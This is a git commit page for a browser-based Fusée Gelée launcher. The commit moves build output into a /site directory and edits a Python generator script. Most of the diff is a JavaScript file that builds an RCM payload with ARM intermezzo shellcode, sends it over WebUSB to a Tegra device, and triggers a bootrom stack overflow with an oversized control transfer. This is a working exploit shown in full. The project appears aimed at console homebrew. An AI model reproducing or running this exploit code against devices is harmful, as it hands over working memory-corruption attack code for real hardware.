Build to /site instead. Makes things a bit safer.
This commit is contained in:
parent
70e978cb54
commit
af8d9426a2
5
.gitignore
vendored
5
.gitignore
vendored
@ -1,4 +1 @@
|
|||||||
hekate.bin.js
|
site
|
||||||
lockpick.bin.js
|
|
||||||
tegraexplorer.bin.js
|
|
||||||
index.html
|
|
||||||
|
15
Makefile
15
Makefile
@ -1,15 +0,0 @@
|
|||||||
generate_files:
|
|
||||||
@python gen_contents.py
|
|
||||||
|
|
||||||
clean:
|
|
||||||
@rm hekate.bin.js
|
|
||||||
@rm lockpick.bin.js
|
|
||||||
@rm tegraexplorer.bin.js
|
|
||||||
@rm index.html
|
|
||||||
|
|
||||||
.PHONY: help
|
|
||||||
|
|
||||||
help:
|
|
||||||
@grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
|
|
||||||
|
|
||||||
.DEFAULT_GOAL := help
|
|
@ -3,8 +3,3 @@ Fusee Launcher, in a browser!
|
|||||||
|
|
||||||
# Description
|
# Description
|
||||||
This is a fork of [web-fusee-launcher](https://github.com/atlas44/web-fusee-launcher), which is a port of [fusee-launcher](https://github.com/reswitched/fusee-launcher) to JavaScript using WebUSB. This has been mildly tested and appears to work on Linux, Android (unrooted), OSX and ChromeOS. Today, this only works on Chrome because only Chrome implements WebUSB. It also does NOT work on Windows because the WebUSB Windows implementation does not allow sending the required USB packet.
|
This is a fork of [web-fusee-launcher](https://github.com/atlas44/web-fusee-launcher), which is a port of [fusee-launcher](https://github.com/reswitched/fusee-launcher) to JavaScript using WebUSB. This has been mildly tested and appears to work on Linux, Android (unrooted), OSX and ChromeOS. Today, this only works on Chrome because only Chrome implements WebUSB. It also does NOT work on Windows because the WebUSB Windows implementation does not allow sending the required USB packet.
|
||||||
|
|
||||||
# fork changes
|
|
||||||
|
|
||||||
* Hekate latest.
|
|
||||||
* You need to gen that automatically.
|
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
import requests
|
import requests
|
||||||
import io
|
import io
|
||||||
import shutil
|
import shutil
|
||||||
|
import os
|
||||||
import zipfile
|
import zipfile
|
||||||
|
|
||||||
bin_files = {
|
bin_files = {
|
||||||
@ -98,7 +99,7 @@ def serialize_to_js(short_name: str, payload: io.BytesIO, filename: str):
|
|||||||
final_str = "".join(final_str)
|
final_str = "".join(final_str)
|
||||||
|
|
||||||
out_string = DEFAULT_SERIALIZED_CONTENTS.format(short_name, final_str)
|
out_string = DEFAULT_SERIALIZED_CONTENTS.format(short_name, final_str)
|
||||||
with open(filename, "w") as outfile:
|
with open(f"site/{filename}", "w") as outfile:
|
||||||
outfile.write(out_string)
|
outfile.write(out_string)
|
||||||
|
|
||||||
def generate_js(program: str):
|
def generate_js(program: str):
|
||||||
@ -130,14 +131,17 @@ def generate_html():
|
|||||||
|
|
||||||
|
|
||||||
out_string = "".join(html_data_list)
|
out_string = "".join(html_data_list)
|
||||||
with open("index.html", "w") as indexfile:
|
with open("site/index.html", "w") as indexfile:
|
||||||
indexfile.write(out_string)
|
indexfile.write(out_string)
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
os.makedirs("site", exist_ok=True)
|
||||||
generate_js("hekate")
|
generate_js("hekate")
|
||||||
generate_js("tegraexplorer")
|
generate_js("tegraexplorer")
|
||||||
generate_js("lockpick")
|
generate_js("lockpick")
|
||||||
generate_html()
|
generate_html()
|
||||||
|
shutil.copy("js/main.js", "site/main.js")
|
||||||
|
shutil.copy("js/fusee.bin.js", "site/fusee.bin.js")
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
@ -1,139 +1,139 @@
|
|||||||
const intermezzo = new Uint8Array([
|
const intermezzo = new Uint8Array([
|
||||||
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
||||||
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
||||||
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
||||||
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
||||||
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
||||||
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
||||||
]);
|
]);
|
||||||
|
|
||||||
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
||||||
const INTERMEZZO_LOCATION = 0x4001F000;
|
const INTERMEZZO_LOCATION = 0x4001F000;
|
||||||
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
||||||
|
|
||||||
function createRCMPayload(intermezzo, payload) {
|
function createRCMPayload(intermezzo, payload) {
|
||||||
const rcmLength = 0x30298;
|
const rcmLength = 0x30298;
|
||||||
|
|
||||||
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
|
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
|
||||||
|
|
||||||
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
|
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
|
||||||
|
|
||||||
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
|
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
|
||||||
const rcmPayloadView = new DataView(rcmPayload.buffer);
|
const rcmPayloadView = new DataView(rcmPayload.buffer);
|
||||||
|
|
||||||
rcmPayloadView.setUint32(0x0, rcmLength, true);
|
rcmPayloadView.setUint32(0x0, rcmLength, true);
|
||||||
|
|
||||||
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
|
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
|
||||||
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
|
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
|
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
|
||||||
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
|
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
|
||||||
|
|
||||||
return rcmPayload;
|
return rcmPayload;
|
||||||
}
|
}
|
||||||
|
|
||||||
function bufferToHex(data) {
|
function bufferToHex(data) {
|
||||||
let result = "";
|
let result = "";
|
||||||
for (let i = 0; i < data.byteLength; i++)
|
for (let i = 0; i < data.byteLength; i++)
|
||||||
result += data.getUint8(i).toString(16).padStart(2, "0");
|
result += data.getUint8(i).toString(16).padStart(2, "0");
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
async function write(device, data) {
|
async function write(device, data) {
|
||||||
let length = data.length;
|
let length = data.length;
|
||||||
let writeCount = 0;
|
let writeCount = 0;
|
||||||
const packetSize = 0x1000;
|
const packetSize = 0x1000;
|
||||||
|
|
||||||
while (length) {
|
while (length) {
|
||||||
const dataToTransmit = Math.min(length, packetSize);
|
const dataToTransmit = Math.min(length, packetSize);
|
||||||
length -= dataToTransmit;
|
length -= dataToTransmit;
|
||||||
|
|
||||||
const chunk = data.slice(0, dataToTransmit);
|
const chunk = data.slice(0, dataToTransmit);
|
||||||
data = data.slice(dataToTransmit);
|
data = data.slice(dataToTransmit);
|
||||||
await device.transferOut(1, chunk);
|
await device.transferOut(1, chunk);
|
||||||
writeCount++;
|
writeCount++;
|
||||||
}
|
}
|
||||||
|
|
||||||
return writeCount;
|
return writeCount;
|
||||||
}
|
}
|
||||||
|
|
||||||
function readFileAsArrayBuffer(file) {
|
function readFileAsArrayBuffer(file) {
|
||||||
return new Promise((res, rej) => {
|
return new Promise((res, rej) => {
|
||||||
const reader = new FileReader();
|
const reader = new FileReader();
|
||||||
reader.onload = e => {
|
reader.onload = e => {
|
||||||
res(e.target.result);
|
res(e.target.result);
|
||||||
}
|
}
|
||||||
reader.readAsArrayBuffer(file);
|
reader.readAsArrayBuffer(file);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function logOutput(...message) {
|
function logOutput(...message) {
|
||||||
document.getElementById("output").value += message.join(" ") + "\n";
|
document.getElementById("output").value += message.join(" ") + "\n";
|
||||||
}
|
}
|
||||||
|
|
||||||
let device;
|
let device;
|
||||||
|
|
||||||
async function launchPayload(payload) {
|
async function launchPayload(payload) {
|
||||||
await device.open();
|
await device.open();
|
||||||
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
||||||
|
|
||||||
await device.claimInterface(0);
|
await device.claimInterface(0);
|
||||||
|
|
||||||
const deviceID = await device.transferIn(1, 16);
|
const deviceID = await device.transferIn(1, 16);
|
||||||
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
||||||
|
|
||||||
|
|
||||||
const rcmPayload = createRCMPayload(intermezzo, payload);
|
const rcmPayload = createRCMPayload(intermezzo, payload);
|
||||||
logOutput("Sending payload...");
|
logOutput("Sending payload...");
|
||||||
const writeCount = await write(device, rcmPayload);
|
const writeCount = await write(device, rcmPayload);
|
||||||
logOutput("Payload sent!");
|
logOutput("Payload sent!");
|
||||||
|
|
||||||
if (writeCount % 2 !== 1) {
|
if (writeCount % 2 !== 1) {
|
||||||
logOutput("Switching to higher buffer...");
|
logOutput("Switching to higher buffer...");
|
||||||
await device.transferOut(1, new ArrayBuffer(0x1000));
|
await device.transferOut(1, new ArrayBuffer(0x1000));
|
||||||
}
|
}
|
||||||
|
|
||||||
logOutput("Trigging vulnerability...");
|
logOutput("Trigging vulnerability...");
|
||||||
const vulnerabilityLength = 0x7000;
|
const vulnerabilityLength = 0x7000;
|
||||||
const smash = await device.controlTransferIn({
|
const smash = await device.controlTransferIn({
|
||||||
requestType: 'standard',
|
requestType: 'standard',
|
||||||
recipient: 'interface',
|
recipient: 'interface',
|
||||||
request: 0x00,
|
request: 0x00,
|
||||||
value: 0x00,
|
value: 0x00,
|
||||||
index: 0x00
|
index: 0x00
|
||||||
}, vulnerabilityLength);
|
}, vulnerabilityLength);
|
||||||
}
|
}
|
||||||
|
|
||||||
document.getElementById("goButton").addEventListener("click", async () => {
|
document.getElementById("goButton").addEventListener("click", async () => {
|
||||||
logOutput("Requesting access to device...");
|
logOutput("Requesting access to device...");
|
||||||
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
|
||||||
|
|
||||||
const payloadType = document.forms.mainForm.payload.value;
|
const payloadType = document.forms.mainForm.payload.value;
|
||||||
logOutput(`Preparing to launch ${payloadType}...`);
|
logOutput(`Preparing to launch ${payloadType}...`);
|
||||||
|
|
||||||
let payload;
|
let payload;
|
||||||
if (payloadType === "fusee.bin") {
|
if (payloadType === "fusee.bin") {
|
||||||
payload = fusee;
|
payload = fusee;
|
||||||
} else if (payloadType === "hekate.bin") {
|
} else if (payloadType === "hekate.bin") {
|
||||||
payload = hekate;
|
payload = hekate;
|
||||||
} else if (payloadType === "tegraexplorer.bin") {
|
} else if (payloadType === "tegraexplorer.bin") {
|
||||||
payload = tegraexplorer;
|
payload = tegraexplorer;
|
||||||
} else if (payloadType === "lockpick.bin") {
|
} else if (payloadType === "lockpick.bin") {
|
||||||
payload = lockpick;
|
payload = lockpick;
|
||||||
} else if (payloadType === "uploaded") {
|
} else if (payloadType === "uploaded") {
|
||||||
const file = document.getElementById("payloadUpload").files[0];
|
const file = document.getElementById("payloadUpload").files[0];
|
||||||
if (!file) {
|
if (!file) {
|
||||||
alert("You need to upload a file, to use an uploaded file.");
|
alert("You need to upload a file, to use an uploaded file.");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
payload = new Uint8Array(await readFileAsArrayBuffer(file));
|
||||||
} else {
|
} else {
|
||||||
console.log("how?");
|
console.log("how?");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
launchPayload(payload);
|
launchPayload(payload);
|
||||||
});
|
});
|
||||||
|
|
||||||
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
|
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
|
Loading…
x
Reference in New Issue
Block a user